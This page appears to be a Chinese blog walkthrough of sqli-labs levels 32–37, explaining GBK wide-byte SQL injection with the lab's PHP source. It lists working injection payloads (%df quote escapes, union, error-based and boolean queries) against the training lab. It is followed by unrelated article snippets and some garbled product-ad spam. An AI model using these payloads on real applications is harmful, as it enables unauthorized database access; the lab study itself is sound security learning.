当前位置: 首页 > news >正文

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方

目录

less-32

less-33

less-34

less-35

less-36

less-37


less-32

正常页面

?id=1' 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\'

?id=1''

看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字符

?id=1 and 1=1  成功

?id=1 and 1=2  成功

看来是字符型参数 

但是加上单引号被转义

我想到了国标码里面%df\ 是一个汉字 也就是宽字节注入

当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

?id=1%df' and 1=1 ;%00 成功

?id=1%df' and 1=2 ;%00 无返回结果

确定注入点了

代码

分析

<?php
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslashreturn $string;
}
// take the variables 
if(isset($_GET['id'])) //判断id是否存在参数
{
$id=check_addslashes($_GET['id']); 对参数进行检查如果有非法符号 加反斜杠转义
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);//日志
mysql_query("SET NAMES gbk");//mysql编码方式为gbk gbk编码方式就是造成宽字节注入的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//如果是参数为1%df' 经过处理就变成了1\' 反斜杠在数据库中会被进行GBK编码 从而和%df结合成为一个汉字 单引号从而逃逸出来
?>

宽字节注入原理

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。

PHP 自带一些转义特殊字符的函数,如addslashes()mysql_real_escape_string()mysql_escape_string()等,这些函数可用来防止 SQL 注入。

id=1'or'1'='1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1\'or\'1\'=\'1,如此在 SQL 查询中是一个普通的字符串,不能进行注入。

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:


less-33

正常页面

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

看来还是字符型的

?id=1' 依旧提示

?id=1%df' and 1=1;%00 报错 并提示

看来%00空字节注入不可以了 应该是转义%了

?id=1%df' and 1=1--+ 成功

?id=1%df' and 1=2--+ 无返回结果

确定注入点了

我再想他应该不是转义% 如果转义%那么%df也出问题了

发现和上一关没什么区别呀 看看源码吧

分析出来了 其他都一样 就是处理非法字符的方式不一样

该关使用

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}


less-34

开始post型注入了

使用bp

uname=admin'  登录失败

一个道理单引号被转义了

不能使用火狐插件 

在url中如果输入%df url自动识别不会再次进行编码了

但是在post表单中 看到了%df 会把%继续进行url编码 从而导致不好使

又学到了一个小知识 万能密码中要使用or 1 一真则真的方式 这样虽然没有用户也会查询出所有的 于是就可以逐行显示出来了

uname=admin%df%5c%5c' or 1=1 limit 2,1#&passwd=1 

确定了注入点

在这里提醒 就是万能密码 虽然我有admin 或者非用户 但是使用or的时候 为永真 则查询出来的是所有的用户 就相当于where 后为真

uname=admin%df' order by 2#&passwd=123 

uname=admin%df' order by 3#&passwd=123 报错了

这个联合查询 因为%df和%5c组成为了汉字 所以带到数据库查询的是admin+汉字 所以查不到

uname=admin%df' union select 1,2#&passwd=123  1,2都为显示位

uname=admin%df' union select database(),2#&passwd=123 获取到了数据库

到这我想尝试and 但是突然又想到了 又学到了一个知识 就是admin%df%5c不存在用户 如果使用and 语句本身就是不执行的 因为and有一个假就是假的 哪怕1=1(这就是我研究半天 脑袋发蒙的地方)

但是可以使用or

报错函数and和or都可以  但是使用那两种方式的报错因为concat('~')就算加上%df也会提示 参数出错 (uname=admin%df' and extractvalue(1,concat(0x7e,database()))#&passwd=123 成功了 转换为十六进制就好了)

但是可以使用联合报错

uname=admin%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x)#&passwd=123

在时间盲注的时候 and 会立马结束 我理解 但是or的时候一直执行sleep停不下来搞不懂

布尔盲注

一开始以为布尔不可以因为admin%df%5c为假 不能使用and了 但是可以继续构造语句 前面永真后面为假

uname=admin%df' or 1 and 1=1#&passwd=123   成功

uname=admin%df' or 1 and 1=2#&passwd=123   失败

前面的or构成了万能密码语句 永真 and 构造成布尔语句


less-35

正常页面

注入测试

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型 感觉没这么简单

?id=1 order by 4 报错

?id=0 union select 1,2,3 显示位 2,3号位置

?id=0 union select 1,database(),3 得出数据库

这跟第二关没区别呀 看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");function check_addslashes($string)
{$string = addslashes($string);//去除非法字符函数return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);//处理
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//整型参数 用不上非法字符
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}
?>

我丢真6 确实有去除非法字符 但是参数是整型 用不上非法字符 和第二关一样 哈哈 有意思

有这么一点需要注意一下

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号

哈哈转换十六进制也是新学的知识点 那么less-34 的concat~也没问题了 把~转换成十六进制
 


less-36

正常页面

注入测试

?id=1 and 1=2  成功 看来是字符型的

?id=1%df' and 1=1 --+ 成功

?id=1%df' and 1=2 --+ 失败

在过程中发现

?id=1%df' and 1=1 ;%00  过滤了%

报错to use near '\0'  单引号引发的问题

提示Hint: The Query String you input is escaped as : 1�\' and 1=2 ;\0

?id=1%df' and 1=1 # 过滤了#

报错 to use near '' 单引号引发的问题

提示 Hint: The Query String you input is escaped as : 1�\' and 1=2

其余与上一关同理


less-37

正常登录无账号密码 登录失败

开始注入测试

uname=qwe'&passwd=qwe&submit=Submit 被转义

uname=qwe%df' or 1#&passwd=qwe&submit=Submit

成功找到注入点 这就算使用万能密码的方式

在这里注意一下 如果不知道账号的前提下 不要使用and进行判断 因为

假 and 真

假 and 假 

都是一个效果

uname=qwe%df' union select 1,2#&passwd=qwe&submit=Submit

啊?和前两题没什么区别呀 就是变成了post的方式

看一下源码

没什么问题 就是和前面一样 知识变成了 post的形式

提醒

post最好使用bp直接弄 不要使用 hacker 容易翻车

详情看前几关

相关文章:

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方 目录 less-32 less-33 less-34 less-35 less-36 less-37 less-32 正常页面 ?id1 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\ ?id1 看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字…...

如何保证缓存和数据库的双写一致性?

一、什么是数据库和缓存双写一致性&#xff1f; 在分布式系统中&#xff0c;数据库和缓存会搭配一起使用&#xff0c;以此来保证程序的整体查询性能。也就说&#xff0c;分布式系统为了缓解数据库查询的压力&#xff0c;会将查出来的数据保存在缓存中&#xff0c;下次再查询时…...

Rosbag 制作 TUM数据集

Rosbag 制作 TUM数据集 一、创建rgb和depth文件夹和txt文件 mkdir rgb mkdir depth touch rgb.txt touch depth.txt 二、替换 bag 路径 和 topic tum.py&#xff1a; import os import cv2 import numpy as np import rosbag from sensor_msgs.msg import Image from cv_b…...

本地websocket服务端暴露至公网访问【cpolar内网穿透】

本地websocket服务端暴露至公网访问【cpolar内网穿透】 文章目录 本地websocket服务端暴露至公网访问【cpolar内网穿透】1. Java 服务端demo环境2. 在pom文件引入第三包封装的netty框架maven坐标3. 创建服务端,以接口模式调用,方便外部调用4. 启动服务,出现以下信息表示启动成功…...

男UI设计师主要是做什么的优漫教育

1、根据各种相关软件的用户群&#xff0c;提出构思新颖、有高度吸引力的创意设计&#xff1b;   2、对页面进行优化&#xff0c;使用户操作更趋于人性化&#xff1b;   3、维护现有的应用产品&#xff1b;   4、收集和分析用户对于GUI的需求。   二、需要学什么…...

超实用!Spring Boot 常用注解详解与应用场景

目录 一、Web MVC 开发时&#xff0c;对于三层的类注解 1.1 Controller 1.2 Service 1.3 Repository 1.4 Component 二、依赖注入的注解 2.1 Autowired 2.2 Resource 2.3 Resource 与 Autowired 的区别 2.3.1 实例讲解 2.4 Value 2.5 Data 三、Web 常用的注解 3.1…...

【古月居《ros入门21讲》学习笔记】11_客户端Client的编程实现

目录 说明&#xff1a; 1. 服务模型 2. 实现过程&#xff08;C&#xff09; 创建功能包 创建客户端代码&#xff08;C&#xff09; 配置客户端代码编译规则 编译 运行 3. 实现过程&#xff08;Python&#xff09; 创建客户端代码&#xff08;Python&#xff09; 运行…...

小程序和Vue写法的区别主要有什么不同

1.语法不同&#xff1a;小程序使用的是WXML、WXSS和JS&#xff0c;而Vue使用的是HTML、CSS和JSX。 2.数据绑定方式不同&#xff1a;小程序使用的是双向数据绑定&#xff0c;而Vue使用的是单向数据流。 1&#xff09;在小程序中需要使用e.currentTarget.dataset.*的方式获取&…...

Flutter之MQTT使用

1.添加依赖: 首先&#xff0c;需要在Flutter项目的​​pubspec.yaml​​​文件中添加​​mqtt_client​​依赖。 dependencies:#https://pub.dev/packages/mqtt_clientmqtt_client: ^10.0.02.创建MQTT客户端并连接到MQTT服务器:2.创建一个MQTT客户端实例来进行连接和通信 Fu…...

vr红色教育虚拟展馆全景制作提升单位品牌形象

720全景展馆编辑平台以其独特的优势&#xff0c;为展览行业带来了革命性的变革。这种创新的技术应用为参展商提供了更高效、更便捷、更全面的展示解决方案&#xff0c;进一步提升了展览行业的水平和影响力。 一、提升展示效果&#xff0c;增强品牌形象 720全景展馆编辑平台通过…...

【Spring】Spring是什么?

文章目录 前言什么是Spring什么是容器什么是 IoC传统程序开发控制反转式程序开发理解Spring IoCDI Spring帮助网站 前言 前面我们学习了 servlet 的相关知识&#xff0c;但是呢&#xff1f;使用 servlet 进行网站的开发步骤还是比较麻烦的&#xff0c;而我们本身程序员就属于是…...

事件循环机制及常见面试题

借鉴&#xff1a; 《Javascript 忍者秘籍》第二版&#xff0c;事件循环篇 面试 | JS 事件循环 event loop 经典面试题含答案 - 知乎 (zhihu.com) 概念 主栈队列就是一个宏任务&#xff0c;每一个宏任务执行完就会执行宏任务中的微任务&#xff0c;直到微任务全部都执行完&a…...

智能监控平台/视频共享融合系统EasyCVR接入RTSP协议视频流无法播放原因是什么?

视频集中存储/云存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、智能分析等。AI智能/大数据视频分析EasyCVR平台已经广泛应用在工地、工厂、园区、楼…...

c# statusStrip 显示电脑主机名、IP地址、MAC地址

控件&#xff1a; ToolStripStatusLabel 主机名&#xff1a; Dns.GetHostName() IP地址&#xff1a; Dns.GetHostAddresses(Dns.GetHostName())[0].ToString() 当前程序的版本&#xff1a; Assembly.GetExecutingAssembly().GetName().Version.ToString() 获取系统版本 …...

Cesium.CustomShader颜色值显示错误

官方示例&#xff1a; Cesium Sandcastle 测试过程&#xff1a; 1、修改示例&#xff0c;把customshader中的fragmentShaderText替换为如下代码 void fragmentMain(FragmentInput fsInput, inout czm_modelMaterial material) {//注意&#xff1a;下述颜色的b值是0.1&#x…...

XSLVGL2.0 User Manual 页面管理器(v2.0)

XSLVGL2.0 开发手册 XSLVGL2.0 User Manual 页面管理器 1、概述2、特性3、APIs3.1、xs_page_init3.2、xs_page_wait_inited3.3、xs_page_exit3.4、xs_page_acquire3.5、xs_page_release3.6、xs_page_set_bootlogo3.7、xs_page_setup_clear_finish3.8、xs_page_setup_is_finish…...

论文学习-Attention Is All You Need

Attention Is All You Need 目前暂时不会用到&#xff0c;大概了解一下即可。 Recurrent model 序列化的计算方式&#xff0c;难以并行&#xff0c;随着序列的增长&#xff0c;以前的记忆会逐渐丢失。而Attention机制可以观察到句子中所有的信息&#xff0c;不受距离影响&…...

Springboot 使用 RabbitMq 延迟插件 实现订单到期未支付取消订单、设置提醒消息

示例业务场景&#xff1a; 场景1&#xff1a;客户下单后&#xff0c;15分钟内未支付取消订单&#xff01; 场景2&#xff1a;客户下单支付成功后&#xff0c;5分钟内商家未处理订单&#xff0c;需要推送一条消息提醒商家。如依旧未处理&#xff0c;则需要每隔2分钟消息提醒一下…...

Linux安装Tesseract-OCR(操作系统CentOS)

Linux安装Tesseract-OCR 第一步&#xff0c;安装依赖第二步&#xff0c;下载安装包第三步&#xff0c;安装leptonica库第四步&#xff0c;安装tesseract第五步&#xff0c;添加语言包第六步&#xff0c;测试 第一步&#xff0c;安装依赖 sudo yum install libpng-devel rpm -q…...

pair和typedef

文章目录 一、pair用法1.2、pair的创建和初始化1.3、pair对象的操作1.4、(make_pair)生成新的pair对象1.5、通过tie获取pair元素值 2、typedef2.1、什么是typedef2.2、typedef用法2.2.1、对于数据类型使用例如&#xff1a;2.2.2、对于指针的使用例如2.2.3、对于结构体的使用 2.…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

【配置 YOLOX 用于按目录分类的图片数据集】

现在的图标点选越来越多&#xff0c;如何一步解决&#xff0c;采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集&#xff08;每个目录代表一个类别&#xff0c;目录下是该类别的所有图片&#xff09;&#xff0c;你需要进行以下配置步骤&#x…...

Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!

一、引言 在数据驱动的背景下&#xff0c;知识图谱凭借其高效的信息组织能力&#xff0c;正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合&#xff0c;探讨知识图谱开发的实现细节&#xff0c;帮助读者掌握该技术栈在实际项目中的落地方法。 …...

06 Deep learning神经网络编程基础 激活函数 --吴恩达

深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...

Python ROS2【机器人中间件框架】 简介

销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

LLMs 系列实操科普(1)

写在前面&#xff1a; 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容&#xff0c;原视频时长 ~130 分钟&#xff0c;以实操演示主流的一些 LLMs 的使用&#xff0c;由于涉及到实操&#xff0c;实际上并不适合以文字整理&#xff0c;但还是决定尽量整理一份笔…...

C语言中提供的第三方库之哈希表实现

一. 简介 前面一篇文章简单学习了C语言中第三方库&#xff08;uthash库&#xff09;提供对哈希表的操作&#xff0c;文章如下&#xff1a; C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...

【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅

目录 前言 操作系统与驱动程序 是什么&#xff0c;为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中&#xff0c;我们在使用电子设备时&#xff0c;我们所输入执行的每一条指令最终大多都会作用到硬件上&#xff0c;比如下载一款软件最终会下载到硬盘上&am…...

大数据治理的常见方式

大数据治理的常见方式 大数据治理是确保数据质量、安全性和可用性的系统性方法&#xff0c;以下是几种常见的治理方式&#xff1a; 1. 数据质量管理 核心方法&#xff1a; 数据校验&#xff1a;建立数据校验规则&#xff08;格式、范围、一致性等&#xff09;数据清洗&…...

flow_controllers

关键点&#xff1a; 流控制器类型&#xff1a; 同步&#xff08;Sync&#xff09;&#xff1a;发布操作会阻塞&#xff0c;直到数据被确认发送。异步&#xff08;Async&#xff09;&#xff1a;发布操作非阻塞&#xff0c;数据发送由后台线程处理。纯同步&#xff08;PureSync…...